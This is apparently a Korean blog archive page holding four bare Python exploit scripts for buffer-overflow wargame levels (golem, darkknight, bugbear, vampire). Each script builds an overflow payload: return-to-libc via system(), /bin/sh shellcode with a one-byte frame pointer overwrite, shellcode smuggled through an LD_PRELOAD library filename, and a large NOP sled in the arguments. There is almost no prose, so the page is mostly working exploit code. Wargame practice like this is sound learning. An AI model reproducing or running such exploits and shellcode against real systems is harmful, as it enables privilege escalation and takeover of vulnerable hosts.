'2019/04/16'에 해당되는 글 5건

exploit.py

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/darkknight/bugbear'
systemAddress = p(0x40058ae0)
shellParamAddress = p(0xbffffc6d)
payload = "A"*44 + systemAddress + "BBBB" + shellParamAddress

os.execl(path,path,payload)

exploit.py

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/golem/darkknight'
shellAddress = p(0xbffffa98)
FPO_Byte = "\x90"
payload = shellAddress+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*11+FPO_Byte

os.execl(path,path,payload)

exploit.py

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/skeleton/golem'
shellAddress =  p(0xbffff530)
payload = "A"*44+shellAddress
shellCode = "\x90"*155+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

os.system("touch test.c")
os.system("gcc -shared -fPIC -o " + shellCode + " test.c")
os.environ["LD_PRELOAD"] = "./"+shellCode
os.execl(path,path,payload)

exploit.py

import os
from struct import *


p = lambda x : pack("<L" , x)
path = '/home/troll/vampire'
shellAddress =  p(0xbffef96c)
payload = "A"*44+shellAddress
shellCode = "\x90"*1000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"B"*65535
os.execl(path,path,payload,shellCode)